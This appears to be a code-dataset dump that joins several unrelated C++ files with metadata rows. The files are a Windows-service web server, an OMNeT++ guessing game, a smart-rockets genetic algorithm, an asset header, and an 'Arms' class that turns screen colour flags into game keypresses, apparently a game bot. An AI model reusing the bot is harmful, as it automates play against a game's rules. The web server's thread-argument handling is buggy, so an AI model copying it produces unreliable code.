#include "options.hpp"
#include "connection.hpp"
using namespace std;
#pragma comment(lib, "wsock32.lib")
#pragma warning(disable:4786)
//---------------------------------------------------------------------------------------------
// Function Declarations
//---------------------------------------------------------------------------------------------
void ServiceMain();
void ControlHandler(DWORD request);
void TestLog(string);
void PrintAccepts(const map<string, bool>::value_type& p);
DWORD WINAPI ProcessRequest(LPVOID lpParam );
//---------------------------------------------------------------------------------------------
// Globals
//---------------------------------------------------------------------------------------------
bool SERVER_STOP = false;
SERVICE_STATUS ServiceStatus;
SERVICE_STATUS_HANDLE hStatus;
struct ARGUMENT
{
int SFD;
struct sockaddr_in CLA;
};
//---------------------------------------------------------------------------------------------
// Main
//---------------------------------------------------------------------------------------------
int main()
{
WSADATA wsaData;
WSAStartup(MAKEWORD(1,1), &wsaData); // Do WSA Stuff
SERVICE_TABLE_ENTRY ServiceTable[2];
ServiceTable[0].lpServiceName = "SWS Web Server"; // Name of service
ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain; // Main function of service
ServiceTable[1].lpServiceName = NULL; // Must create a null table
ServiceTable[1].lpServiceProc = NULL;
// Start the control dispatcher thread for our service
StartServiceCtrlDispatcher(ServiceTable); // Jumps to the serice function
WSACleanup(); // End WSA Stuff
return 1; // End program
}
//---------------------------------------------------------------------------------------------
// Service Main
//---------------------------------------------------------------------------------------------
void ServiceMain()
{
//-----------------------------------------------------------------------------------------
// Step 1: Do stuff we must do as a service
//-----------------------------------------------------------------------------------------
ServiceStatus.dwServiceType = SERVICE_WIN32; // Win32 service
ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
// Fields the service accepts from the SCM
ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN;
ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwServiceSpecificExitCode = 0;
ServiceStatus.dwCheckPoint = 0;
ServiceStatus.dwWaitHint = 0;
hStatus = RegisterServiceCtrlHandler("SWS Web Server", (LPHANDLER_FUNCTION)ControlHandler);
if (hStatus == (SERVICE_STATUS_HANDLE)0)
{
// Registering Control Handler failed
return;
}
//-----------------------------------------------------------------------------------------
// Step 2: Set up options
//-----------------------------------------------------------------------------------------
// These are default settings, incase the configuration file is corrupt
Options.CGI["php"] = "C:\\PHP\\php.exe";
Options.Logfile = "C:\\SWS\\LOGS\\Logfile.log";
Options.MaxConnections = 20;
Options.Port = 80;
Options.Servername = "SWS Web Server";
Options.Timeout = 20;
Options.WebRoot = "C:\\SWS\\Webroot";
Options.AllowIndex = true;
Options.IndexFiles[0] = "index.htm";
Options.IndexFiles[0] = "index.html";
// Read the real settings from the config file
bool ReadConfig = Options.ReadSettings();
if (ReadConfig == false)
{
// The configuration file had errors.
TestLog("Warning: Could not load configuration file properly");
ServiceStatus.dwCurrentState = SERVICE_STOPPED;
SetServiceStatus (hStatus, &ServiceStatus);
return;
}
// Report that the service is running
ServiceStatus.dwCurrentState = SERVICE_RUNNING;
SetServiceStatus (hStatus, &ServiceStatus);
//----------------------------------------------------------------------------------------------------
// MIME Types
//----------------------------------------------------------------------------------------------------
Options.MIMETypes["hqx"] = "application/mac-binhex40";
Options.MIMETypes["doc"] = "application/msword";
Options.MIMETypes["bin"] = "application/octet-stream";
Options.MIMETypes["dms"] = "application/octet-stream";
Options.MIMETypes["lha"] = "application/octet-stream";
Options.MIMETypes["lzh"] = "application/octet-stream";
Options.MIMETypes["exe"] = "application/octet-stream";
Options.MIMETypes["class"] = "application/octet-stream";
Options.MIMETypes["pdf"] = "application/pdf";
Options.MIMETypes["ai"] = "application/postscript";
Options.MIMETypes["eps"] = "application/postscript";
Options.MIMETypes["ps"] = "application/postscript";
Options.MIMETypes["smi"] = "application/smil";
Options.MIMETypes["smil"] = "application/smil";
Options.MIMETypes["mif"] = "application/vnd.mif";
Options.MIMETypes["asf"] = "application/vnd.ms-asf";
Options.MIMETypes["xls"] = "application/vnd.ms-excel";
Options.MIMETypes["ppt"] = "application/vnd.ms-powerpoint";
Options.MIMETypes["vcd"] = "application/x-cdlink";
Options.MIMETypes["Z"] = "application/x-compress";
Options.MIMETypes["cpio"] = "application/x-cpio";
Options.MIMETypes["csh"] = "application/x-csh";
Options.MIMETypes["dcr"] = "application/x-director";
Options.MIMETypes["dir"] = "application/x-director";
Options.MIMETypes["dxr"] = "application/x-director";
Options.MIMETypes["dvi"] = "application/x-dvi";
Options.MIMETypes["gtar"] = "application/x-gtar";
Options.MIMETypes["gz"] = "application/x-gzip";
Options.MIMETypes["js"] = "application/x-javascript";
Options.MIMETypes["latex"] = "application/x-latex";
Options.MIMETypes["sh"] = "application/x-sh";
Options.MIMETypes["shar"] = "application/x-shar";
Options.MIMETypes["swf"] = "application/x-shockwave-flash";
Options.MIMETypes["sit"] = "application/x-stuffit";
Options.MIMETypes["tar"] = "application/x-tar";
Options.MIMETypes["tcl"] = "application/x-tcl";
Options.MIMETypes["tex"] = "application/x-tex";
Options.MIMETypes["texinfo"] = "application/x-texinfo";
Options.MIMETypes["texi"] = "application/x-texinfo";
Options.MIMETypes["t"] = "application/x-troff";
Options.MIMETypes["tr"] = "application/x-troff";
Options.MIMETypes["roff"] = "application/x-troff";
Options.MIMETypes["man"] = "application/x-troff-man";
Options.MIMETypes["me"] = "application/x-troff-me";
Options.MIMETypes["ms"] = "application/x-troff-ms";
Options.MIMETypes["zip"] = "application/zip";
Options.MIMETypes["au"] = "audio/basic";
Options.MIMETypes["snd"] = "audio/basic";
Options.MIMETypes["mid"] = "audio/midi";
Options.MIMETypes["midi"] = "audio/midi";
Options.MIMETypes["kar"] = "audio/midi";
Options.MIMETypes["mpga"] = "audio/mpeg";
Options.MIMETypes["mp2"] = "audio/mpeg";
Options.MIMETypes["mp3"] = "audio/mpeg";
Options.MIMETypes["aif"] = "audio/x-aiff";
Options.MIMETypes["aiff"] = "audio/x-aiff";
Options.MIMETypes["aifc"] = "audio/x-aiff";
Options.MIMETypes["ram"] = "audio/x-pn-realaudio";
Options.MIMETypes["rm"] = "audio/x-pn-realaudio";
Options.MIMETypes["ra"] = "audio/x-realaudio";
Options.MIMETypes["wav"] = "audio/x-wav";
Options.MIMETypes["bmp"] = "image/bmp";
Options.MIMETypes["gif"] = "image/gif";
Options.MIMETypes["ief"] = "image/ief";
Options.MIMETypes["jpeg"] = "image/jpeg";
Options.MIMETypes["jpg"] = "image/jpeg";
Options.MIMETypes["jpe"] = "image/jpeg";
Options.MIMETypes["png"] = "image/png";
Options.MIMETypes["tiff"] = "image/tiff";
Options.MIMETypes["tif"] = "image/tiff";
Options.MIMETypes["ras"] = "image/x-cmu-raster";
Options.MIMETypes["pnm"] = "image/x-portable-anymap";
Options.MIMETypes["pbm"] = "image/x-portable-bitmap";
Options.MIMETypes["pgm"] = "image/x-portable-graymap";
Options.MIMETypes["ppm"] = "image/x-portable-pixmap";
Options.MIMETypes["rgb"] = "image/x-rgb";
Options.MIMETypes["xbm"] = "image/x-xbitmap";
Options.MIMETypes["xpm"] = "image/x-xpixmap";
Options.MIMETypes["xwd"] = "image/x-xwindowdump";
Options.MIMETypes["igs"] = "model/iges";
Options.MIMETypes["iges"] = "model/iges";
Options.MIMETypes["msh"] = "model/mesh";
Options.MIMETypes["mesh"] = "model/mesh";
Options.MIMETypes["silo"] = "model/mesh";
Options.MIMETypes["wrl"] = "model/vrml";
Options.MIMETypes["vrml"] = "model/vrml";
Options.MIMETypes["css"] = "text/css";
Options.MIMETypes["html"] = "text/html";
Options.MIMETypes["htm"] = "text/html";
Options.MIMETypes["asc"] = "text/plain";
Options.MIMETypes["txt"] = "text/plain";
Options.MIMETypes["rtx"] = "text/richtext";
Options.MIMETypes["rtf"] = "text/rtf";
Options.MIMETypes["sgml"] = "text/sgml";
Options.MIMETypes["sgm"] = "text/sgml";
Options.MIMETypes["tsv"] = "text/tab-separated-values";
Options.MIMETypes["xml"] = "text/xml";
Options.MIMETypes["mpeg"] = "video/mpeg";
Options.MIMETypes["mpg"] = "video/mpeg";
Options.MIMETypes["mpe"] = "video/mpeg";
Options.MIMETypes["qt"] = "video/quicktime";
Options.MIMETypes["mov"] = "video/quicktime";
Options.MIMETypes["avi"] = "video/x-msvideo";
//----------------------------------------------------------------------------------------------------
// Binary Files
// The following extensions should be opened as binary. Anything else should be as text
//----------------------------------------------------------------------------------------------------
Options.Binary["hqx"] = true;
Options.Binary["doc"] = true;
Options.Binary["bin"] = true;
Options.Binary["dms"] = true;
Options.Binary["lha"] = true;
Options.Binary["lzh"] = true;
Options.Binary["exe"] = true;
Options.Binary["class"] = true;
Options.Binary["pdf"] = true;
Options.Binary["ai"] = true;
Options.Binary["eps"] = true;
Options.Binary["ps"] = true;
Options.Binary["smi"] = true;
Options.Binary["smil"] = true;
Options.Binary["mif"] = true;
Options.Binary["asf"] = true;
Options.Binary["xls"] = true;
Options.Binary["ppt"] = true;
Options.Binary["vcd"] = true;
Options.Binary["Z"] = true;
Options.Binary["cpio"] = true;
Options.Binary["csh"] = true;
Options.Binary["dcr"] = true;
Options.Binary["dir"] = true;
Options.Binary["dxr"] = true;
Options.Binary["dvi"] = true;
Options.Binary["gtar"] = true;
Options.Binary["gz"] = true;
Options.Binary["js"] = true;
Options.Binary["latex"] = true;
Options.Binary["sh"] = true;
Options.Binary["shar"] = true;
Options.Binary["swf"] = true;
Options.Binary["sit"] = true;
Options.Binary["tar"] = true;
Options.Binary["tcl"] = true;
Options.Binary["tex"] = true;
Options.Binary["texinfo"] = true;
Options.Binary["texi"] = true;
Options.Binary["t"] = true;
Options.Binary["tr"] = true;
Options.Binary["roff"] = true;
Options.Binary["man"] = true;
Options.Binary["me"] = true;
Options.Binary["ms"] = true;
Options.Binary["zip"] = true;
Options.Binary["au"] = true;
Options.Binary["snd"] = true;
Options.Binary["mid"] = true;
Options.Binary["midi"] = true;
Options.Binary["kar"] = true;
Options.Binary["mpga"] = true;
Options.Binary["mp2"] = true;
Options.Binary["mp3"] = true;
Options.Binary["aif"] = true;
Options.Binary["aiff"] = true;
Options.Binary["aifc"] = true;
Options.Binary["ram"] = true;
Options.Binary["rm"] = true;
Options.Binary["ra"] = true;
Options.Binary["wav"] = true;
Options.Binary["bmp"] = true;
Options.Binary["gif"] = true;
Options.Binary["ief"] = true;
Options.Binary["jpeg"] = true;
Options.Binary["jpg"] = true;
Options.Binary["jpe"] = true;
Options.Binary["png"] = true;
Options.Binary["tiff"] = true;
Options.Binary["tif"] = true;
Options.Binary["ras"] = true;
Options.Binary["pnm"] = true;
Options.Binary["pbm"] = true;
Options.Binary["pgm"] = true;
Options.Binary["ppm"] = true;
Options.Binary["rgb"] = true;
Options.Binary["xbm"] = true;
Options.Binary["xpm"] = true;
Options.Binary["xwd"] = true;
Options.Binary["igs"] = true;
Options.Binary["iges"] = true;
Options.Binary["msh"] = true;
Options.Binary["mesh"] = true;
Options.Binary["silo"] = true;
Options.Binary["wrl"] = true;
Options.Binary["vrml"] = true;
Options.Binary["mpeg"] = true;
Options.Binary["mpg"] = true;
Options.Binary["mpe"] = true;
Options.Binary["qt"] = true;
Options.Binary["mov"] = true;
Options.Binary["avi"] = true;
//-----------------------------------------------------------------------------------------
// Map status code numbers to text codes
//-----------------------------------------------------------------------------------------
Options.ErrorCode[200] = "OK";
Options.ErrorCode[404] = "File Not Found";
Options.ErrorCode[301] = "Moved Permanently";
Options.ErrorCode[302] = "Moved Temporarily";
Options.ErrorCode[500] = "Internal Server Error";
//-----------------------------------------------------------------------------------------
// Step 3: Start web server
//-----------------------------------------------------------------------------------------
int SFD_Listen; // Socket Descriptor we listen on
int SFD_New; // Socket Descriptor for new connections
struct sockaddr_in ServerAddress; // Servers address structure
struct sockaddr_in ClientAddress; // Clients address structure
int Result; // Result flag that will be used through the program for errors
// Set socket
SFD_Listen = socket(AF_INET, SOCK_STREAM, 0); // Find a good socket
if (SFD_Listen == -1) // Socket could not be made
{
ServiceStatus.dwCurrentState = SERVICE_STOPPED;
SetServiceStatus (hStatus, &ServiceStatus);
return;
}
// Assign server information
ServerAddress.sin_family = AF_INET; // Using TCP/IP
ServerAddress.sin_port = htons(Options.Port); // Port
ServerAddress.sin_addr.s_addr = INADDR_ANY; // Use any and all addresses
memset(&(ServerAddress.sin_zero), '\0', 8); // Zero out rest
// Bind to port
Result = bind(SFD_Listen, (struct sockaddr *) &ServerAddress, sizeof(struct sockaddr));
if (Result == -1)
{
ServiceStatus.dwCurrentState = SERVICE_STOPPED;
SetServiceStatus (hStatus, &ServiceStatus);
return;
}
// Listen
Result = listen(SFD_Listen, Options.MaxConnections);
if (Result == -1)
{
ServiceStatus.dwCurrentState = SERVICE_STOPPED;
SetServiceStatus (hStatus, &ServiceStatus);
return;
}
int Size = sizeof(struct sockaddr_in);
//-----------------------------------------------------------------------------------------
// Step 5: Handle Requests
//-----------------------------------------------------------------------------------------
SERVER_STOP = false;
while (!SERVER_STOP)
{
SFD_New = accept(SFD_Listen, (struct sockaddr *) &ClientAddress, &Size);
DWORD dwThreadId; // Info for the thead
HANDLE hThread;
// Create a structure of type ARGUMENT to be passed to the new thread
ARGUMENT Argument;
Argument.CLA = ClientAddress;
Argument.SFD = SFD_New;
// CreateThread and process the request
hThread = CreateThread(
NULL, // default security attributes
0, // use default stack size
ProcessRequest, // thread function
&Argument, // argument to thread function
0, // use default creation flags
&dwThreadId); // returns the thread identifier
if (hThread != NULL) // If the thread was created, destroy it
{
CloseHandle( hThread );
}
}
closesocket(SFD_Listen);
return;
}
//---------------------------------------------------------------------------------------------
// Request Processor - used by CreateThread()
//---------------------------------------------------------------------------------------------
DWORD WINAPI ProcessRequest(LPVOID lpParam )
{
ARGUMENT * Arg = (ARGUMENT *)lpParam; // Split the paramater into the arguments
CONNECTION * New = new CONNECTION(Arg->SFD, Arg->CLA);
if (New)
{
New->ReadRequest(); // Read in the request
New->HandleRequest(); // Handle the request
delete New; // Destroy the connection
}
closesocket(Arg->SFD);
return 0;
}
//---------------------------------------------------------------------------------------------
// Control Handler
//---------------------------------------------------------------------------------------------
void ControlHandler(DWORD request)
{
switch(request)
{
case SERVICE_CONTROL_STOP:
SERVER_STOP = true;
ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwCurrentState = SERVICE_STOPPED;
SetServiceStatus (hStatus, &ServiceStatus);
return;
case SERVICE_CONTROL_SHUTDOWN:
SERVER_STOP = true;
ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwCurrentState = SERVICE_STOPPED;
SetServiceStatus (hStatus, &ServiceStatus);
return;
default:
break;
}
// Report current status
SetServiceStatus (hStatus, &ServiceStatus);
return;
}
//---------------------------------------------------------------------------------------------
// TestLog
//---------------------------------------------------------------------------------------------
void TestLog(string Data)
{
FILE* log;
log = fopen("C:\\SWS\\testlog.txt", "a+");
if (log == NULL)
return ;
fprintf(log, "%s", Data.c_str());
fclose(log);
}
//---------------------------------------------------------------------------------------------
// PrintAccepts
//---------------------------------------------------------------------------------------------
void PrintAccepts(const map<string, bool>::value_type& p)
{
TestLog(p.first);
TestLog(" = ");
TestLog((p.second ? "true" : "false"));
TestLog("\n");
}
|
0a5dcb2bb147aeb5496e832de195d6337c4a53af | 53f63e10ddec17c52155a2f278ac9d409b613bfa | /Assignment2/guessingGame/src/player1.cc | 99d4b8940a92660a907b94933ea8790f97fdf44a | [] | no_license | mhomran/networking-assignments-term1 | 7ebda31f5d71a2bcecfa1a6ba06dc2b99b822b35 | ccf075b07c4be3595cc2d03e7e464f6cacee00c5 | refs/heads/master | 2023-08-24T01:33:13.179257 | 2021-10-30T14:29:27 | 2021-10-30T14:29:27 | 420,444,426 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,567 | cc | player1.cc | //
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Lesser General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Lesser General Public License for more details.
//
// You should have received a copy of the GNU Lesser General Public License
// along with this program. If not, see http://www.gnu.org/licenses/.
//
#include "player1.h"
#include <string>
using namespace std;
Define_Module(Player1);
void Player1::initialize()
{
// Print the number
EV<<"Player1 chose: "<<par("num").intValue()<<endl;
cMessage *msg = new cMessage("Send one guess at at time!");
send(msg, "out");
}
void Player1::handleMessage(cMessage *msg)
{
// Compare received number (msg) with parameter num
EV<<"Player1 received: "<<msg->getName()<<endl;
int num = par("num").intValue();
const char *str = "6";
int guess;
sscanf(msg->getName(), "%d", &guess);
EV<<"Num Vs Guess: "<<num<<" "<<guess<<endl;
if(num == guess){
msg->setName("Correct Guess");
EV<<"Player1 sending: "<<msg->getName()<<endl;
send(msg, "out");
}
else{
msg->setName("Wrong Guess");
EV<<"Player1 sending: "<<msg->getName()<<endl;
send(msg, "out");
}
}
|
4de57a3dc3cbbe9848e25ac45fb3ce60c1660714 | 929d471bc048fe9ebe33838625e29b04678b70aa | /advil/arms.cpp | 124b70fb7a7b3df1c73961780a0f030a9412860d | [] | no_license | scouratier/advil | 77f936eab638e9cef0a90ab4dd62a727cf2b302a | b3667ac38f1ec597940aa59079d43c2d88487b9d | refs/heads/master | 2021-04-09T17:16:20.847729 | 2014-11-09T23:45:51 | 2014-11-09T23:45:51 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 3,236 | cpp | arms.cpp | #include "common.h"
Arms::Arms()
{
this->Charge= 0x31; // {r = 1 , g = 0 , b = 0}
this->MortalStrike= 0x32; // {r = 2 , g = 0 , b = 0}
this->Whirlwind= 0x33; // {r = 4 , g = 0 , b = 0}
this->Rend= 0x34; // {r = 8 , g = 0 , b = 0}
this->Execute= 0x35; // {r = 16 , g = 0 , b = 0}
this->ShieldBarrier= 0x36; // {r = 32 , g = 0 , b = 0}
this->Bloodbath= 0x37; // {r = 64 , g = 0 , b = 0}
this->Recklessness= 0x38; // {r = 128, g = 0 , b = 0}e
this->BloodFury= 0x39; // {r = 0 , g = 1 , b = 0}
this->BattleShout= 0x30; // {r = 0 , g = 2 , b = 0}
this->RallyingCry= 0xBD; // {r = 0 , g = 4 , b = 0}
this->VictoryRush= 0xBB; // {r = 0 , g = 8 , b = 0}
this->MassSpellReflection= 0x45; // {r = 0 , g = 16 , b = 0}
this->DragonRoar= 0x52; // {r = 0 , g = 32 , b = 0}
this->ColossusSmash= 0x46; // {r = 0 , g = 64 , b = 0}f
this->EnragedRegeneration= 0xC0; // {r = 0 , g = 128, b = 0}
this->BerserkerRage= 0x5A; // {r = 0 , g = 0 , b = 1}z
this->HeroicLeap= 0x58; // {r = 0 , g = 0 , b = 2}x
this->SweapingStrikes= 0x43; // {r = 0 , g = 0 , b = 4}c
}
Arms::~Arms()
{
}
WPARAM Arms::DoLogic()
{
this->SetNextKey();
return this->nextKey;
}
int Arms::SetSquareOne(Square in)
{
this->_one = in;
return 1;
}
int Arms::SetSquareTwo(Square in)
{
this->_two = in;
return 1;
}
int Arms::SetNextKey(){
if (this->_one.red & 0x01)
{
this->nextKey = this->Charge;
return 1;
}
if (this->_one.red & 0x02)
{
this->nextKey = this->MortalStrike;
return 1;
}
if (this->_one.red & 0x04)
{
this->nextKey = this->Whirlwind;
return 1;
}
if (this->_one.red & 0x08)
{
this->nextKey = this->Rend;
return 1;
}
if (this->_one.red & 0x10)
{
this->nextKey = this->Execute;
return 1;
}
if (this->_one.red & 0x20)
{
this->nextKey = this->ShieldBarrier;
return 1;
}
if (this->_one.red & 0x40)
{
this->nextKey = this->Bloodbath;
return 1;
}
if (this->_one.red & 0x80)
{
this->nextKey = this->Recklessness;
return 1;
}
if (this->_one.green & 0x01)
{
this->nextKey = this->BloodFury;
return 1;
}
if (this->_one.green & 0x02)
{
this->nextKey = this->BattleShout;
return 1;
}
if (this->_one.green & 0x04)
{
this->nextKey = this->RallyingCry;
return 1;
}
if (this->_one.green & 0x08)
{
this->nextKey = this->VictoryRush;
return 1;
}
if (this->_one.green & 0x10)
{
this->nextKey = this->MassSpellReflection;
return 1;
}
if (this->_one.green & 0x20)
{
this->nextKey = this->DragonRoar;
return 1;
}
if (this->_one.green & 0x40)
{
this->nextKey = this->ColossusSmash;
return 1;
}
if (this->_one.green & 0x80)
{
this->nextKey = this->EnragedRegeneration;
return 1;
}
if (this->_one.blue & 0x01)
{
this->nextKey = this->BerserkerRage;
return 1;
}
if (this->_one.blue & 0x02)
{
this->nextKey = this->HeroicLeap;
return 1;
}
if (this->_one.blue & 0x04)
{
this->nextKey = this->SweapingStrikes;
return 1;
}
return 1;
} |
4007f962a8734de4f5490c24493eb1b1163e5779 | e4d0bd0d6799d9592099571eddc30032c6a96b22 | /Population.h | 465783f05795b9f4e7ef396ada75a5be55563baf | [] | no_license | NickJordan289/SmartRockets | 56f7a90f068f26c4076e05be1c4eb983bb739b4c | e21f6fa9f366d60e4adca0bcdf7679f22507c66e | refs/heads/master | 2020-03-25T17:45:36.497894 | 2018-08-09T15:13:49 | 2018-08-09T15:13:49 | 143,994,264 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 2,743 | h | Population.h | // C++ SFML Smart Rockets Genetic Algorithm
// This is a C++ port of code from Daniel Shiffman's SmartRockets video
// https://www.youtube.com/watch?v=bGz7mv2vD6g
// https://github.com/CodingTrain/website/tree/9f0f94dd0495840ab037ac172c4575dba9dafd62/CodingChallenges/CC_029_SmartRockets
#pragma once
#include <SFML/Graphics.hpp>
#include <vector>
#include <memory>
#include "Rocket.h"
#include "ExtraFuncs.h"
class Population {
public:
std::vector<std::shared_ptr<Rocket>> rockets;
std::vector<std::shared_ptr<Rocket>> matingPool;
int popSize;
int& countRef;
sf::Vector2f target;
sf::RectangleShape obstacle;
int lifespan;
float mutationChance;
int mut = 0;
sf::RenderWindow& rWindRef;
Population(int popSize, int lifespan, float mutationChance, sf::Vector2f target, sf::RectangleShape obstacle, sf::RenderWindow& rWind, int& count) : rWindRef(rWind), countRef(count) {
this->popSize = popSize;
this->lifespan = lifespan;
this->mutationChance = mutationChance;
this->target = target;
this->obstacle = obstacle;
for (int i = 0; i < popSize; i++)
{
rockets.push_back(std::make_unique<Rocket>(lifespan, mutationChance, rWind, countRef));
}
}
std::tuple<float, std::shared_ptr<Rocket>> naturalSelection() {
float highestFitness = 0;
std::shared_ptr<Rocket> highestRocket = nullptr;
for (std::shared_ptr<Rocket> r : rockets) {
r->calcFitness(target);
if (r->fitness > highestFitness) {
highestFitness = r->fitness;
highestRocket = r;
}
}
// normalizes fitness
for (std::shared_ptr<Rocket> r : rockets) {
r->fitness /= highestFitness;
}
matingPool.clear();
for (std::shared_ptr<Rocket> r : rockets) {
int n = r->fitness * 100;
for (int i = 0; i < n; i++) {
matingPool.push_back(r);
}
}
return std::make_tuple(highestFitness, highestRocket);
}
int getCompleted() {
int count = 0;
for (auto r : rockets) {
if (r->completed)
count++;
}
return count;
}
void selection() {
std::vector<std::shared_ptr<Rocket>> newRockets;
for (int i = 0; i < rockets.size(); i++) {
int randomIndex = rNum(matingPool.size()-1);
DNA parentA = matingPool[randomIndex]->dna;
randomIndex = rNum(matingPool.size()-1);
DNA parentB = matingPool[randomIndex]->dna;
DNA child = parentA.crossover(parentB);
child.mutation();
newRockets.push_back(std::make_unique<Rocket>(child, rWindRef, countRef));
}
rockets = newRockets;
}
void update(float dt) {
for (std::shared_ptr<Rocket> r : rockets) {
r->update(target, obstacle, dt);
}
}
void draw() {
for (std::shared_ptr<Rocket> r : rockets) {
r->draw();
}
}
}; |
f910271e84f67ffaffced2ca1db5ea547ff40a35 | 04b3b8cc9ea56e8b55c5a36b0d2cec66161791fa | /content/files_mapper.h | 6f7ab59c6bb796753ef51cf5a83ce29c237d1591 | [
"BSD-2-Clause"
] | permissive | SSBMTonberry/emu-jukebox | 79f73bf7d850c7055e1be69433626a653efaa925 | dde3bacdd5132ad4a4c078aacb1624a16d93c127 | refs/heads/master | 2023-01-22T14:25:51.849005 | 2023-01-08T18:31:12 | 2023-01-08T18:31:12 | 164,926,707 | 13 | 3 | BSD-2-Clause | 2023-01-08T11:23:53 | 2019-01-09T19:43:29 | C++ | UTF-8 | C++ | false | false | 90,551 | h | files_mapper.h | #ifndef ASSET_GENERATOR_FILES_FILE_MAPPER
#define ASSET_GENERATOR_FILES_FILE_MAPPER
#include "files.h"
namespace files_mapper
{
namespace test_files
{
static const unsigned char * _TEST_AY = files::test_files::_TEST_AY;
static const size_t _TEST_AY_SIZE = files::test_files::_TEST_AY_SIZE;
static const unsigned char * _TEST_HES = files::test_files::_TEST_HES;
static const size_t _TEST_HES_SIZE = files::test_files::_TEST_HES_SIZE;
static const unsigned char * _TEST_NSFE = files::test_files::_TEST_NSFE;
static const size_t _TEST_NSFE_SIZE = files::test_files::_TEST_NSFE_SIZE;
static const unsigned char * _TEST_SAP = files::test_files::_TEST_SAP;
static const size_t _TEST_SAP_SIZE = files::test_files::_TEST_SAP_SIZE;
static const unsigned char * _TEST_GBS = files::test_files::_TEST_GBS;
static const size_t _TEST_GBS_SIZE = files::test_files::_TEST_GBS_SIZE;
static const unsigned char * _TEST_NSF = files::test_files::_TEST_NSF;
static const size_t _TEST_NSF_SIZE = files::test_files::_TEST_NSF_SIZE;
static const unsigned char * _TEST_VGM = files::test_files::_TEST_VGM;
static const size_t _TEST_VGM_SIZE = files::test_files::_TEST_VGM_SIZE;
static const unsigned char * _TEST_SPC = files::test_files::_TEST_SPC;
static const size_t _TEST_SPC_SIZE = files::test_files::_TEST_SPC_SIZE;
static const unsigned char * _TEST_KSS = files::test_files::_TEST_KSS;
static const size_t _TEST_KSS_SIZE = files::test_files::_TEST_KSS_SIZE;
}
namespace gui
{
}
namespace gui::general
{
static const unsigned char * _AUTOSCROLLFROMSOURCE_PNG = files::gui::general::_AUTOSCROLLFROMSOURCE_PNG;
static const size_t _AUTOSCROLLFROMSOURCE_PNG_SIZE = files::gui::general::_AUTOSCROLLFROMSOURCE_PNG_SIZE;
static const unsigned char * _PLUGINMANAGER_PNG = files::gui::general::_PLUGINMANAGER_PNG;
static const size_t _PLUGINMANAGER_PNG_SIZE = files::gui::general::_PLUGINMANAGER_PNG_SIZE;
static const unsigned char * _KEYBOARDSHORTCUT_PNG = files::gui::general::_KEYBOARDSHORTCUT_PNG;
static const size_t _KEYBOARDSHORTCUT_PNG_SIZE = files::gui::general::_KEYBOARDSHORTCUT_PNG_SIZE;
static const unsigned char * _HIDELEFTPART_DARK_PNG = files::gui::general::_HIDELEFTPART_DARK_PNG;
static const size_t _HIDELEFTPART_DARK_PNG_SIZE = files::gui::general::_HIDELEFTPART_DARK_PNG_SIZE;
static const unsigned char * _FILTER_PNG = files::gui::general::_FILTER_PNG;
static const size_t _FILTER_PNG_SIZE = files::gui::general::_FILTER_PNG_SIZE;
static const unsigned char * _HIDERIGHTPARTHOVER_PNG = files::gui::general::_HIDERIGHTPARTHOVER_PNG;
static const size_t _HIDERIGHTPARTHOVER_PNG_SIZE = files::gui::general::_HIDERIGHTPARTHOVER_PNG_SIZE;
static const unsigned char * _RUN_PNG = files::gui::general::_RUN_PNG;
static const size_t _RUN_PNG_SIZE = files::gui::general::_RUN_PNG_SIZE;
static const unsigned char * _HIDERIGHT_PNG = files::gui::general::_HIDERIGHT_PNG;
static const size_t _HIDERIGHT_PNG_SIZE = files::gui::general::_HIDERIGHT_PNG_SIZE;
static const unsigned char * _MORETABS_PNG = files::gui::general::_MORETABS_PNG;
static const size_t _MORETABS_PNG_SIZE = files::gui::general::_MORETABS_PNG_SIZE;
static const unsigned char * _HELP_PNG = files::gui::general::_HELP_PNG;
static const size_t _HELP_PNG_SIZE = files::gui::general::_HELP_PNG_SIZE;
static const unsigned char * _COPYHOVERED_PNG = files::gui::general::_COPYHOVERED_PNG;
static const size_t _COPYHOVERED_PNG_SIZE = files::gui::general::_COPYHOVERED_PNG_SIZE;
static const unsigned char * _HIDEDOWNPART_DARK_PNG = files::gui::general::_HIDEDOWNPART_DARK_PNG;
static const size_t _HIDEDOWNPART_DARK_PNG_SIZE = files::gui::general::_HIDEDOWNPART_DARK_PNG_SIZE;
static const unsigned char * _HIDELEFTPARTHOVER_PNG = files::gui::general::_HIDELEFTPARTHOVER_PNG;
static const size_t _HIDELEFTPARTHOVER_PNG_SIZE = files::gui::general::_HIDELEFTPARTHOVER_PNG_SIZE;
static const unsigned char * _HIDETOOLWINDOW_DARK_PNG = files::gui::general::_HIDETOOLWINDOW_DARK_PNG;
static const size_t _HIDETOOLWINDOW_DARK_PNG_SIZE = files::gui::general::_HIDETOOLWINDOW_DARK_PNG_SIZE;
static const unsigned char * _MOUSESHORTCUT_PNG = files::gui::general::_MOUSESHORTCUT_PNG;
static const size_t _MOUSESHORTCUT_PNG_SIZE = files::gui::general::_MOUSESHORTCUT_PNG_SIZE;
static const unsigned char * _TODOQUESTION_PNG = files::gui::general::_TODOQUESTION_PNG;
static const size_t _TODOQUESTION_PNG_SIZE = files::gui::general::_TODOQUESTION_PNG_SIZE;
static const unsigned char * _SPLITUP_PNG = files::gui::general::_SPLITUP_PNG;
static const size_t _SPLITUP_PNG_SIZE = files::gui::general::_SPLITUP_PNG_SIZE;
static const unsigned char * _NOTIFICATIONERROR_PNG = files::gui::general::_NOTIFICATIONERROR_PNG;
static const size_t _NOTIFICATIONERROR_PNG_SIZE = files::gui::general::_NOTIFICATIONERROR_PNG_SIZE;
static const unsigned char * _INFORMATION_PNG = files::gui::general::_INFORMATION_PNG;
static const size_t _INFORMATION_PNG_SIZE = files::gui::general::_INFORMATION_PNG_SIZE;
